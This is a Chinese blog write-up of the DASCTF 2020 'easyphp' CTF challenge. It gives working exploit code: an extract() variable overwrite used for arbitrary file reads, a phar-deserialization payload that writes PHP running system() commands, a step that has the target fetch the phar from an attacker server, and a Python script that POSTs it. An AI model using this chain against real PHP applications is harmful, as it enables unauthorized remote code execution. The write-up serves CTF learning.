「配枪朱丽叶。」 「配枪朱丽叶。」
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
我的主页 › CTF › [DASCTF 2020圣诞赛]WEB-easyphp2 min read
#CTF#

[DASCTF 2020圣诞赛]WEB-easyphp2 min read

2月前
59 0
内容 隐藏
方法一
方法二(正解)
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

因为$tp可控,且存在变量覆盖漏洞(extract($_GET['var'], EXTR_OVERWRITE);),所以可以覆盖掉$template的第一个元素的键值,达到读取任意文件的效果。读取template.php:

http://8.129.41.25:10305/?var[template][tp1]=/var/www/html/template.php&tp=tp1

得到源代码如下:

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = $content;
		$this->pattern = "/{{([a-z]+)}}/";
		$this->suffix = ".html";
	}

	public function __destruct() {
		$this->render();
	}
	public function render() {
		while (True) {
			if(preg_match($this->pattern, $this->content, $matches)!==1) 
				break;
			global ${$matches[1]};
			
			if(isset(${$matches[1]})) {
				$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
			} 
			else{
				break;
			}
		}
		if(strlen($this->suffix)>5) {
			echo "error suffix";
			die();
		}
		$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
		file_put_contents($filename, $this->content);
		echo "Your html file is in " . $filename;
	}
}
?>

看到file_put_contents本意是想写🐎来着,但是$filename不可控,且$suffix变量锁死了,怎么都写不出php。卡了好久。

方法一

虽然这道题无上传文件的地方,但是存在文件读取函数(file_get_contents)且参数可控,又因为有可以利用的魔术方法,有file_get_contents函数,且没有过滤“phar”、“:”、“/”等关键字,所以可以利用phar进行反序列化RCE(感谢Match师傅,我是笨比)。

构造phar文件:

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = '<?php system("ls /");?>';
		$this->pattern = "";
		$this->suffix = ".php";
	}
}
$o = new Template("123");
$filename = 'poc.phar';
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("shaw.txt",'test');
$phar->stopBuffering();
?>

生成phar文件后,把它放公网服务器上,然后利用题目的$var的变量覆盖漏洞,将$template的第一个元素的键值覆盖成该phar文件的地址:

http://8.129.41.25:10305/?var[template][tp1]=http://ip/poc.phar&tp=tp1
Your html file is in /var/www/html/uploads/xxx/xxx.html

这样就把poc.phar写进了html里,再将回显的绝对路径用phar://伪协议去访问,其覆盖掉了原先Template类中变量值,(”.html”也变成”.php”了)得到php文件。

访问php文件,得到命令(<?php system("ls");?>)执行后的结果:

同理,可执行<?php system("/readflag");?>得到flag。

方法二(正解)

和上面差不多,不过不需要公网服务器传了,是比赛时想到的方法。

可以将$template的第一个元素的值赋为php://input,其值就为POST的数据。

Template类中有这样一段:

while (True) {
	if(preg_match($this->pattern, $this->content, $matches)!==1) 
		break;
	global ${$matches[1]};
	
	if(isset(${$matches[1]})) {
		$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
	} 
	else{
		break;
	}
}

必须让$content不满足$pattern的值的匹配条件,否则会退出。但是不满足的话,$matches[1]的值为NULL,为空则break:

if(isset(${$matches[1]})) {
		$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
	} 
	else{
		break;
}

利用$var的变量覆盖漏洞,就达到既不满足匹配条件又给$matches[1]赋值的目的。python测试脚本如下:

shaw = open(r"poc.phar",'rb')
url = "http://8.129.41.25:10305/?var[template][tp1]=php://input&var[matches][1]=123&tp=tp1"
a = requests.post(url=url,data=shaw.read())
#print(a.text)
url2 = "http://8.129.41.25:10305/?var[template][tp1]=phar:///var/www/html/uploads/xxx/xxx.html&tp=tp1"
b = requests.get(url2)
#print(b.text)

剩下同方法一。

0 0
Shaw Root
# ctf# php# 代码审计
相关文章
virink_2019_files_share
[SUCTF 2019]EasyWeb
[BMZCTF]WEB_ezphp
通过一道校赛题学习过滤单引号的注入
[CTF.SHOW]登陆就有flag
头像
Shaw Root站长
> 缓慢又笨拙的路上,谢谢你们陪我长大。
144文章 0评论 128获赞
随便看看:)
[CTF.SHOW]红包题第二弹
3月前
[SoCat]姿势笔记
4月前
[JACTF]你先还是我先
11月前
[Vulnhub]DC-1靶机通关记录
8月前
[CTF.SHOW]登陆就有flag
4周前
  • 旧站
  • 我的知乎
  • Riro
  • 7i4n2h3n9
  • EDS
  • 熵增
  • 紫哥purplet
  • 夏风
  • N0vice
  • Ga1@xy
  • prontosil
  • FzWjScJ
  • Retr_0
  • L1near
  • 1p0ch
  • β-AS
  • Match
  • Dizzyk
  • Y1ng
  • 偏有宸机
  • Van1sh
  • Fstone
  • Kali’s Blog
  • Airtail
  • False
  • 魔法少女雪殇
Copyright © 2020-2021 「配枪朱丽叶。」. Designed by nicetheme. 百度统计 载入天数... 载入时分秒...